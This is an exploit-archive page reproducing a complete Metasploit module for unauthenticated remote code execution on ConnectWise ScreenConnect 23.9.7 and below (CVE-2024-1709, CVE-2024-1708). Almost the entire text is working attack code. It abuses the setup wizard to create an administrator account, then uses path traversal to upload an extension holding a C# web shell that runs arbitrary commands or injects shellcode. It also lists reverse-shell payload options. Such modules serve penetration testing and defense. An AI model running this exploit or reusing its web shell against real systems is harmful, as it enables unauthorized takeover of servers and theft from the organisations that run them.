ConnectWise ScreenConnect 23.9.7 Unauthenticated Remote Code Execution

2024.02.25
Credit: sfewer-r7
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'ConnectWise ScreenConnect Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage this to achieve RCE by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7 and below are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # MSF RCE Exploit 'WatchTowr', # Auth Bypass PoC ], 'References' => [ ['CVE', '2024-1708'], # Path traversal when extracting zip file. ['CVE', '2024-1709'], # Auth bypass to create admin account. ['URL', 'https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8'], # Vendor Advisory ['URL', 'https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/'], # Auth Bypass PoC ['URL', 'https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass'] # Analysis of both CVEs ], 'DisclosureDate' => '2024-02-19', 'Platform' => %w[win linux unix], 'Arch' => [ARCH_X64, ARCH_CMD], 'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows, root on Linux. 'Targets' => [ [ # Tested ScreenConnect 23.9.7.8804 on Server 2022 with payloads: # windows/x64/meterpreter/reverse_tcp 'Windows In-Memory', { 'Platform' => 'win', 'Arch' => ARCH_X64 } ], [ # Tested ScreenConnect 23.9.7.8804 on Server 2022 with payloads: # cmd/windows/http/x64/meterpreter/reverse_tcp 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL', 'FETCH_WRITABLE_DIR' => '%TEMP%' } } ], [ # Tested ScreenConnect 20.3.31734 on Ubuntu 18.04.6 with payloads: # cmd/linux/http/x64/meterpreter/reverse_tcp # cmd/unix/reverse_bash 'Linux Command', { 'Platform' => %w[linux unix], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'FETCH_COMMAND' => 'WGET', 'FETCH_WRITABLE_DIR' => '/tmp' } } ] ], 'DefaultOptions' => { 'RPORT' => 8040, 'SSL' => false, 'EXITFUNC' => 'thread' }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES, # The existing administrator account will be replaced ACCOUNT_LOCKOUTS ] } ) ) register_options([ OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alpha_lower(8)]), OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(16)]) ]) end def check # This is a file found on the recent 23.9.7.8804 (Circa 2024), an out of support 20.3.31734 (Circa 2021), and # a very old 2.5.3409.4645 (Circa 2012). So we can expect this file to exist on all targets. As this endpoint # expects authentication, the response will be a 302 redirect to the Login page. As Windows is case insensitive # we can request 'Host.aspx' with any case and get the expected 302 response, however Linux is case sensitive and # will always 404 a request to 'Host.aspx' if we jumble up the case. Both a 302 and 404 response will still include # the Server header, which we use to confirm both ScreenConnect and the version number. host_aspx = 'Host.aspx' host_aspx = loop do jumblecase_host_aspx = host_aspx.chars.map { |c| rand(2) == 0 ? c.upcase : c.downcase }.join break jumblecase_host_aspx unless jumblecase_host_aspx == host_aspx end res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, host_aspx) ) return CheckCode::Unknown('Connection failed') unless res return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 302 || res.code == 404 platform = res.code == 302 ? 'Windows' : 'Linux' if res.headers.key?('Server') && (res.headers['Server'] =~ %r{ScreenConnect/(\d+\.\d+.\d+)}) detected = "ConnectWise ScreenConnect #{Regexp.last_match(1)} running on #{platform}." if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('23.9.7') return CheckCode::Appears(detected) end return CheckCode::Safe(detected) end CheckCode::Unknown end def exploit # Sanity check the USERNAME and PASSWORD will meet the servers password requirements. fail_with(Failure::BadConfig, 'USERNAME must not be empty.') if datastore['USERNAME'].empty? fail_with(Failure::BadConfig, 'PASSWORD must be 8 characters of more.') if datastore['PASSWORD'].length < 8 # # 1. Begin the setup wizard using the vulnerability to access the SetupWizard.aspx page. # res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/') ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply when initiating setup wizard.') end viewstate, viewstategen = get_viewstate(res) unless viewstate && viewstategen fail_with(Failure::UnexpectedReply, 'Did not locate the view state after initiating setup wizard.') end # # 2. Advance to the next step in the setup. # res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/'), 'vars_post' => { '__EVENTTARGET' => '', '__EVENTARGUMENT' => '', '__VIEWSTATE' => viewstate, '__VIEWSTATEGENERATOR' => viewstategen, 'ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton' => 'Next' } ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply from first step in setup wizard.') end viewstate, viewstategen = get_viewstate(res) unless viewstate && viewstategen fail_with(Failure::UnexpectedReply, 'Did not locate the view after first step in setup wizard.') end # # 3. Create a new administrator account. # res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/'), 'vars_post' => { '__EVENTTARGET' => '', '__EVENTARGUMENT' => '', '__VIEWSTATE' => viewstate, '__VIEWSTATEGENERATOR' => viewstategen, 'ctl00$Main$wizard$userNameBox' => datastore['USERNAME'], 'ctl00$Main$wizard$emailBox' => Faker::Internet.email(name: datastore['USERNAME']).to_s, 'ctl00$Main$wizard$passwordBox' => datastore['PASSWORD'], 'ctl00$Main$wizard$verifyPasswordBox' => datastore['PASSWORD'], 'ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton' => 'Next' } ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply from create account step in setup wizard.') end print_status("Created account: #{datastore['USERNAME']}:#{datastore['PASSWORD']} (Note: This account will not be deleted by the module)") # # 4. Log in with this account to get an authenticated HTTP session. # res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'Administration'), 'keep_cookies' => true, 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to login with admin credentials.') end if res.body =~ %r{"antiForgeryToken"\s*:\s*"([a-zA-Z0-9+/=]+)"} anti_forgery_token = Regexp.last_match(1) else # The antiForgeryToken is not present in older versions of ScreenConnect (Tested with 20.3.31734). print_warning('Could not locate anti forgery token after login with admin credentials.') anti_forgery_token = '' end # # 5. Create an extension to host the payload. # # NOTE: Rex::Text.rand_guid return a GUID string wrapped in curly braces which is not what we want, so we use # Faker::Internet.uuid instead. plugin_guid = Faker::Internet.uuid payload_ashx = "#{Rex::Text.rand_text_alpha_lower(8)}.ashx" # According to Microsoft (https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/) these are # the list of valid C# keywords, we create a Rex::RandomIdentifier::Generator to generate new identifiera for # use in the ASHX payload, and pass the list of valid C# keywords as a forbidden list so we dont accidentaly # generate a valid keyword. vars = Rex::RandomIdentifier::Generator.new({ forbidden: %w[ abstract add alias and args as ascending async await base bool break by byte case catch char checked class const continue decimal default delegate descending do double dynamic else enum equals event explicit extern false file finally fixed float for foreach from get global goto group if implicit in init int interface internal into is join let lock long managed nameof namespace new nint not notnull nuint null object on operator or orderby out override params partial private protected public readonly record ref remove required return sbyte scoped sealed select set short sizeof stackalloc static string struct switch this throw true try typeof uint ulong unchecked unmanaged unsafe ushort using value var virtual void volatile when where while with yield ] }) if target['Arch'] == ARCH_CMD payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %> using System; using System.Web; using System.Diagnostics; public class #{vars[:var_handler_class]} : IHttpHandler { public void ProcessRequest(HttpContext #{vars[:var_ctx]}) { if (String.IsNullOrEmpty(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"])) { return; } byte[] #{vars[:var_bytearray]} = Convert.FromBase64String(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"]); string #{vars[:var_payload]} = System.Text.Encoding.UTF8.GetString(#{vars[:var_bytearray]}); ProcessStartInfo #{vars[:var_psi]} = new ProcessStartInfo(); #{vars[:var_psi]}.FileName = "#{target['Platform'] == 'win' ? 'cmd.exe' : '/bin/sh'}"; #{vars[:var_psi]}.Arguments = "#{target['Platform'] == 'win' ? '/c' : '-c'} \\\"" + #{vars[:var_payload]} + "\\\""; #{vars[:var_psi]}.RedirectStandardOutput = true; #{vars[:var_psi]}.UseShellExecute = false; Process.Start(#{vars[:var_psi]}); } public bool IsReusable { get { return true; } } }) else payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %> using System; using System.Web; using System.Diagnostics; using System.Runtime.InteropServices; public class #{vars[:var_handler_class]} : IHttpHandler { [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect); [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId); public void ProcessRequest(HttpContext #{vars[:var_ctx]}) { if (String.IsNullOrEmpty(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"])) { return; } byte[] #{vars[:var_bytearray]} = Convert.FromBase64String(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"]); IntPtr #{vars[:var_func_addr]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{vars[:var_bytearray]}.Length, 0x3000, (IntPtr)0x40); Marshal.Copy(#{vars[:var_bytearray]}, 0, #{vars[:var_func_addr]}, #{vars[:var_bytearray]}.Length); IntPtr #{vars[:var_thread_id]} = IntPtr.Zero; CreateThread(IntPtr.Zero, UIntPtr.Zero, #{vars[:var_func_addr]}, IntPtr.Zero, 0, ref #{vars[:var_thread_id]}); } public bool IsReusable { get { return true; } } }) end manifest_data = %(<?xml version="1.0" encoding="utf-8"?> <ExtensionManifest> <Version>#{Faker::App.version}</Version> <Name>#{Faker::App.name}</Name> <Author>#{Faker::Name.name}</Author> <ShortDescription>#{Faker::Lorem.sentence}</ShortDescription> <Components> <WebServiceReference SourceFile="#{payload_ashx}"/> </Components> </ExtensionManifest>) zip_resources = Rex::Zip::Archive.new zip_resources.add_file("#{plugin_guid}/Manifest.xml", manifest_data) # We can leverage CVE-2024-1708 to write one level below the extension directory. This enable Linux targets to work. zip_resources.add_file("#{plugin_guid}/../#{payload_ashx}", payload_data) # # 6. Upload the payload extension. # res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Services', 'ExtensionService.ashx', 'InstallExtension'), 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => "[\"#{Base64.strict_encode64(zip_resources.pack)}\"]", 'headers' => { 'X-Anti-Forgery-Token' => anti_forgery_token } ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to install extension.') end print_status("Uploaded Extension: #{plugin_guid}") if target['Platform'] == 'win' # On Windows the current working directory is C:\Windows\System32\ and we dont leak out the install path # so we use the default installation location... register_files_for_cleanup("C:\\Program Files (x86)\\ScreenConnect\\App_Extensions\\#{payload_ashx}") else # For Linux the current working is the install path (/opt/screenconnect) so we can use a relative path... register_files_for_cleanup("App_Extensions/#{payload_ashx}") end begin # # 7. Trigger the payload by requesting the extensions .ashx file. # if target['Arch'] == ARCH_CMD payload_data = payload.encoded.gsub('\\', '\\\\\\\\') else payload_data = payload.encoded end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'App_Extensions', payload_ashx), 'keep_cookies' => true, 'vars_post' => { vars[:var_payload_key] => Base64.strict_encode64(payload_data) } ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to trigger payload.') end ensure # # 8. Ensure we remove the extension when we are done. # print_status("Removing Extension: #{plugin_guid}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Services', 'ExtensionService.ashx', 'UninstallExtension'), 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => "[\"#{plugin_guid}\"]", 'headers' => { 'X-Anti-Forgery-Token' => anti_forgery_token } ) unless res&.code == 200 print_warning('Failed to remove the extension.') end end end def get_viewstate(res) vs_input = res.get_html_document.at('input[name="__VIEWSTATE"]') unless vs_input&.key? 'value' print_error('Did not locate the __VIEWSTATE.') return nil end vsgen_input = res.get_html_document.at('input[name="__VIEWSTATEGENERATOR"]') unless vsgen_input&.key? 'value' # The __VIEWSTATEGENERATOR is not present in older versions of ScreenConnect (Tested with 20.3.31734). print_warning('Did not locate the __VIEWSTATEGENERATOR.') return [vs_input['value'], ''] end [vs_input['value'], vsgen_input['value']] end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top